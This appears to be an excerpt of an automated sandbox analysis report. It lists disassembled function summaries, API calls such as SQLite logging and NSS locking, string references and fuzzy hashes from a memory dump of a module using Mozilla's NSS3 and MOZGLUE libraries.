free.MOZGLUE(00000000), ref: 6CED3D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CED38BD), ref: 6CED3D6F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 5521d6f49d45f15f9fabfb9696091451510cafe0870648d34490e3fdcb7b9687
Instruction ID: 642e77d89ab2275e69a88f5bbf7ea174296cad58970a60de925c4b321b2ca2d7
Opcode Fuzzy Hash: 5521d6f49d45f15f9fabfb9696091451510cafe0870648d34490e3fdcb7b9687
Instruction Fuzzy Hash: 462129B5B0125237FB106A7B4C09F7B35BCDF826A9B350234B839D7AC0DA60D8028671

Function 6CE17D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE17E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE17E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CE17EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE17F2E

Strings

%s at line %d of [%.10s], xrefs: 6CE17EE7, 6CE17F28
database corruption, xrefs: 6CE17EE2, 6CE17F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE17ED8, 6CE17F08, 6CE17F19

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 06c59b16c2e745766ebc442aa667dff2de7d5a4c383dd73ba9c0a41bfc54707e
Instruction ID: de8b79bb1c2c6f8b967861713317ef6e10df0423bcf1e8e122e25cb43d41deeb
Opcode Fuzzy Hash: 06c59b16c2e745766ebc442aa667dff2de7d5a4c383dd73ba9c0a41bfc54707e
Instruction Fuzzy Hash: 9861B174A082059FDB05CF25C891BAA77B2BF45708F2445A8EC095FB51D731EC66CBA1

Function 6CDFFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDFFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDFFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFFE83

Part of subcall function 6CDFFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CDFFEFA
Part of subcall function 6CDFFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CDFFF3B

Strings

%s at line %d of [%.10s], xrefs: 6CDFFD73, 6CDFFE35
database corruption, xrefs: 6CDFFD6E, 6CDFFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFFD64, 6CDFFE26

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 588b2508efe1e129f5e2a42012e87dc465cf883deae0bed4e120e43f1af1970f
Instruction ID: 23d8af8e9df0693f0ebd6761897933e5e58e04b7171c2ccf5f297a2664558dc7
Opcode Fuzzy Hash: 588b2508efe1e129f5e2a42012e87dc465cf883deae0bed4e120e43f1af1970f
Instruction Fuzzy Hash: 81517E71A00205DFDB04CFA9C890AAEB7F1BF48308F154069EA15AB762E735ED41CBA0

Function 6CF42F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF42FFD
sqlite3_initialize.NSS3 ref: 6CF43007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF43032
sqlite3_mprintf.NSS3(6CFAAAF9,?), ref: 6CF43073
sqlite3_free.NSS3(?), ref: 6CF430B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF430C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF430BB

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 108a58e2d2e4a8b14aabc2360f6b7c1f1ee145605013440be03f4cf7e5d69fe9
Instruction ID: da2144fcdb4067a6e4df1e248df805bd58bd3a01031989d51edd1b3f71c0d8eb
Opcode Fuzzy Hash: 108a58e2d2e4a8b14aabc2360f6b7c1f1ee145605013440be03f4cf7e5d69fe9
Instruction Fuzzy Hash: 1841A471600606ABDB10CF29D880A8ABBF5FF44369F15C628EC6987B41E731F959CBD1

Function 6CEC5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CEC5F0A
TlsGetValue.KERNEL32 ref: 6CEC5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CEC5F2F
PR_Unlock.NSS3(890008E8), ref: 6CEC5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CEC5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CEC5F7D

Part of subcall function 6CEC5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CEC5F82,8B4274C0), ref: 6CEC5248
Part of subcall function 6CEC5220: EnterCriticalSection.KERNEL32(0F6CF90D,?,6CEC5F82,8B4274C0), ref: 6CEC525C
Part of subcall function 6CEC5220: PR_SetError.NSS3(00000000,00000000), ref: 6CEC528E
Part of subcall function 6CEC5220: PR_Unlock.NSS3(0F6CF8F1), ref: 6CEC5299
Part of subcall function 6CEC5220: free.MOZGLUE(00000000), ref: 6CEC52A9

Strings

q]l, xrefs: 6CEC5EDB, 6CEC5F09

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: 3f897495d6db52f68ae9ed4edcf483f528d7b8322d8c1040c8360e7c8949b822
Instruction ID: 552f5646baa0e12780dd6fc6fa4314080c3aed567e897cf21f729ec2be21a564
Opcode Fuzzy Hash: 3f897495d6db52f68ae9ed4edcf483f528d7b8322d8c1040c8360e7c8949b822
Instruction Fuzzy Hash: 3821E7B1E002449FDB04AF64DC41BEFB7B4EF09318F640029E91AA7700E731A954CBD1

Function 6CE88CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE9124D,00000001), ref: 6CE88D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE9124D,00000001), ref: 6CE88D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE9124D,00000001), ref: 6CE88D73
PR_Unlock.NSS3(?,?,?,?,?,6CE9124D,00000001), ref: 6CE88D8C

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE9124D,00000001), ref: 6CE88DBA

Strings

KRAM, xrefs: 6CE88CF9
KRAM, xrefs: 6CE88D3E

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 9ef294aa976f9a175f58a0627d80789e6e2bd2523d89508a5ed40f2400febdfa
Instruction ID: c5f8ca5f51949cad015c016b4f53c4daafee5388d4e134043f216c738f8e090f
Opcode Fuzzy Hash: 9ef294aa976f9a175f58a0627d80789e6e2bd2523d89508a5ed40f2400febdfa
Instruction Fuzzy Hash: 3821AEB5A056018FCB50EF38C48466ABBF4FF45318F25896ADC8C87741EB30E842CB91

Function 6CEAACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CEAACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEAAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEAAD23

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEAAD39

Strings

hSession = 0x%x, xrefs: 6CEAACFE, 6CEAAD0E
C_MessageDecryptFinal, xrefs: 6CEAACE1
(CK_INVALID_HANDLE), xrefs: 6CEAAD1C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: fe372e5b5ac0cea80a09a984274e8810d007476152f6c4b0844d4e37aea756ff
Instruction ID: d480a2602146156560d523e68c60a9258f7e6460c1347c50b967dd03b0b9f1c6
Opcode Fuzzy Hash: fe372e5b5ac0cea80a09a984274e8810d007476152f6c4b0844d4e37aea756ff
Instruction Fuzzy Hash: 64214930A51214AFDB409FB4DD8CB6A7774EB4230DF55442DE80A9BB01DB31AC0ACBD2

Function 6CF80ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF80EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF80EFA

Part of subcall function 6CE6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F2B

Strings

Aborting, xrefs: 6CF80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF80ED9, 6CF80EE5, 6CF80F06, 6CF80F0B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 143cc713cb0f20f121b8f137f7b4d33c2a6eaab09e2bef6013966836c5cbabf6
Instruction ID: 80a047427d7627f90c53015eacbff2a0b4b8aa8a80d810b7083e7a6e7f6429a3
Opcode Fuzzy Hash: 143cc713cb0f20f121b8f137f7b4d33c2a6eaab09e2bef6013966836c5cbabf6
Instruction Fuzzy Hash: 3E0100BAA11204ABCF00AF64DC84DAB3F3CEF42364B404024FD0987B01D671EA508AA2

Function 6CF61C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE64E1D), ref: 6CF61C8A
sqlite3_free.NSS3(00000000), ref: 6CF61CB6

Strings

w=l, xrefs: 6CF61C44
non-deterministic use of %s() in %s, xrefs: 6CF61C85
an index, xrefs: 6CF61C67
a generated column, xrefs: 6CF61C6C
a CHECK constraint, xrefs: 6CF61C76, 6CF61C81

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: 7404895c76ebe7dc2f446dc8affa70135df122d50abd8be7f040983eb1d912f5
Instruction ID: ddcb2fdb560e22eea0ab48ad2bd833ccbbf7ee81e9124f5b6e4dc8b095a71f48
Opcode Fuzzy Hash: 7404895c76ebe7dc2f446dc8affa70135df122d50abd8be7f040983eb1d912f5
Instruction Fuzzy Hash: 6101F7B1A001409BD704BF68D402DB6B7E5EF8634CB16487DED859BB12EB32E867C791

Function 6CF44D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF44DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF44DE0

Strings

misuse, xrefs: 6CF44DD5
%s at line %d of [%.10s], xrefs: 6CF44DDA
API call with %s database connection pointer, xrefs: 6CF44DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF44DCB
invalid, xrefs: 6CF44DB8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: e247041ef00ce92a16a99ac9e29280cb12dedebd956c7e74c79c58dd337c9694
Instruction ID: 5488a106b9291b5e00aca3bd95b52a81d8a61cebf41d56b5217653dac27d9cb2
Opcode Fuzzy Hash: e247041ef00ce92a16a99ac9e29280cb12dedebd956c7e74c79c58dd337c9694
Instruction Fuzzy Hash: C6F0E911E149646BD7004556CC11FC67FB54F01319F5A49A1FD04BBE53D21BAD5083E1

Function 6CF44DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF44E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF44E4D

Strings

misuse, xrefs: 6CF44E42
%s at line %d of [%.10s], xrefs: 6CF44E47
API call with %s database connection pointer, xrefs: 6CF44E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF44E38
invalid, xrefs: 6CF44E25

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: cce10a89f0a8e9d8d4152c0ec06472c014d465c9de8fdefd36328abb2b23fd5d
Instruction ID: b1d35adf6eded85d4c7ecc5ca2172e30266e3bc6a90161ab680c89fa908a26d1
Opcode Fuzzy Hash: cce10a89f0a8e9d8d4152c0ec06472c014d465c9de8fdefd36328abb2b23fd5d
Instruction Fuzzy Hash: 55F02711E449286BE7100666DC10FC77F954B01329F1DC4A1EE0877E93D30A9D7146E1

Function 6CE79FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE7A086
EnterCriticalSection.KERNEL32(?), ref: 6CE7A09B
PR_Unlock.NSS3(?), ref: 6CE7A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7A0E9
TlsGetValue.KERNEL32 ref: 6CE7A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE7A12F
PR_Unlock.NSS3(?), ref: 6CE7A148

Part of subcall function 6CE91A40: PR_Now.NSS3(?,00000000,6CE728AD,00000000,?,6CE8F09A,00000000,6CE728AD,6CE793B0,?,6CE793B0,6CE728AD,00000000,?,00000000), ref: 6CE91A65

Part of subcall function 6CE91940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CE94126,?), ref: 6CE91966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7A1A3

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 26d38ea08faacabb87e47ae4e40e6bdf86806d43567bad3583706ee5add1f6f7
Instruction ID: 32173a93f58603caf27a3dec656be7aa022dfc63d9c7fcaa13b22e042c2b393f
Opcode Fuzzy Hash: 26d38ea08faacabb87e47ae4e40e6bdf86806d43567bad3583706ee5add1f6f7
Instruction Fuzzy Hash: 4251F9B6E402009FEB209F75CC48AAB77B8AF8631CB25542DDC1997701EF31E945C6B1

Function 6CEB0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?,?,00000000,?,?), ref: 6CEB0CB3

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?), ref: 6CEB0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?), ref: 6CEB0DEC

Part of subcall function 6CED0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE72AF5,?,?,?,?,?,6CE70A1B,00000000), ref: 6CED0F1A
Part of subcall function 6CED0F10: malloc.MOZGLUE(00000001), ref: 6CED0F30
Part of subcall function 6CED0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CED0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?), ref: 6CEB0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000), ref: 6CEB0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?), ref: 6CEB0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?,?,00000000), ref: 6CEB0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?), ref: 6CEB0E79

Part of subcall function 6CEC1560: TlsGetValue.KERNEL32(00000000,?,6CE90844,?), ref: 6CEC157A
